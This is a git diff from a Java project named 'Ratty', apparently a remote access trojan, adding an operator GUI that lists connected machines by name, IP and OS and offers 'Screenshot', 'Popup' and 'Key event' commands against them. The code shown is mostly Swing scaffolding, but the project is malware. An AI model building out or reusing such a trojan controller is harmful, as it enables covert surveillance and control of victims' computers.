diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index ccda9a0..e322ef7 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -1,9 +1,16 @@ package de.sogomn.rat; +import java.awt.Color; import java.awt.event.KeyEvent; +import javax.swing.UIDefaults; +import javax.swing.UIManager; +import javax.swing.plaf.nimbus.NimbusLookAndFeel; + import de.sogomn.rat.packet.KeyEventPacket; import de.sogomn.rat.server.ActiveServer; +import de.sogomn.rat.server.gui.RattyGui; +import de.sogomn.rat.server.gui.ServerGuiController; public final class Ratty { @@ -14,6 +21,20 @@ public final class Ratty { //... } + private static void setLookAndFeel() { + final NimbusLookAndFeel nimbus = new NimbusLookAndFeel(); + final UIDefaults defaults = nimbus.getDefaults(); + + defaults.put("control", Color.LIGHT_GRAY); + defaults.put("nimbusBase", Color.LIGHT_GRAY); + + try { + UIManager.setLookAndFeel(nimbus); + } catch (final Exception ex) { + ex.printStackTrace(); + } + } + public static void connectToHost(final String address, final int port) { final ActiveClient newClient = new ActiveClient(address, port); final Trojan trojan = new Trojan(); @@ -32,11 +53,18 @@ public final class Ratty { public static void startServer(final int port) { final ActiveServer server = new ActiveServer(port); + final RattyGui gui = new RattyGui(); + final ServerGuiController controller = new ServerGuiController(); + gui.setController(controller); + + server.setObserver(controller); server.start(); } public static void main(final String[] args) { + setLookAndFeel(); + if (CLIENT) { System.out.println("Starting client"); diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java new file mode 100644 index 0000000..564703b --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java @@ -0,0 +1,7 @@ +package de.sogomn.rat.server.gui; + +public interface IGuiController { + + void userInput(final String actionCommand); + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java new file mode 100644 index 0000000..8ca2265 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -0,0 +1,72 @@ +package de.sogomn.rat.server.gui; + +import java.awt.event.ActionEvent; + +import javax.swing.JFrame; +import javax.swing.JMenuItem; +import javax.swing.JPopupMenu; +import javax.swing.JScrollPane; +import javax.swing.JTable; +import javax.swing.table.DefaultTableModel; + +public final class RattyGui { + + private JFrame frame; + + private JTable table; + private DefaultTableModel tableModel; + + private JPopupMenu menu; + + private IGuiController controller; + + private static final String[] HEADERS = { + "Name", + "IP address", + "OS", + "Version" + }; + + public static final String POPUP = "Popup"; + public static final String SCREENSHOT = "Screenshot"; + public static final String KEY_EVENT = "Key event"; + public static final String[] ACTION_COMMANDS = {POPUP, SCREENSHOT, KEY_EVENT}; + + public RattyGui() { + frame = new JFrame(); + table = new JTable(); + tableModel = (DefaultTableModel)table.getModel(); + menu = new JPopupMenu(); + + for (final String command : ACTION_COMMANDS) { + final JMenuItem item = new JMenuItem(command); + + item.addActionListener(this::actionPerformed); + menu.add(item); + } + + tableModel.setColumnIdentifiers(HEADERS); + table.setEnabled(false); + table.setComponentPopupMenu(menu); + + final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); + + frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + frame.setContentPane(scrollPane); + frame.pack(); + frame.setLocationByPlatform(true); + frame.setVisible(true); + frame.requestFocus(); + } + + private void actionPerformed(final ActionEvent a) { + final String command = a.getActionCommand(); + + controller.userInput(command); + } + + public void setController(final IGuiController controller) { + this.controller = controller; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java similarity index 72% rename from Ratty/src/de/sogomn/rat/server/ServerGuiController.java rename to Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java index 40a409a..905455a 100644 --- a/Ratty/src/de/sogomn/rat/server/ServerGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java @@ -1,12 +1,14 @@ -package de.sogomn.rat.server; +package de.sogomn.rat.server.gui; import java.util.ArrayList; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.server.ActiveServer; +import de.sogomn.rat.server.IServerObserver; -public final class ServerGuiController implements IServerObserver, IClientObserver { +public final class ServerGuiController implements IServerObserver, IClientObserver, IGuiController { private ArrayList clients; @@ -38,4 +40,9 @@ public final class ServerGuiController implements IServerObserver, IClientObserv System.out.println("Server closed"); } + @Override + public void userInput(final String actionCommand) { + System.out.println("User input: " + actionCommand); + } + }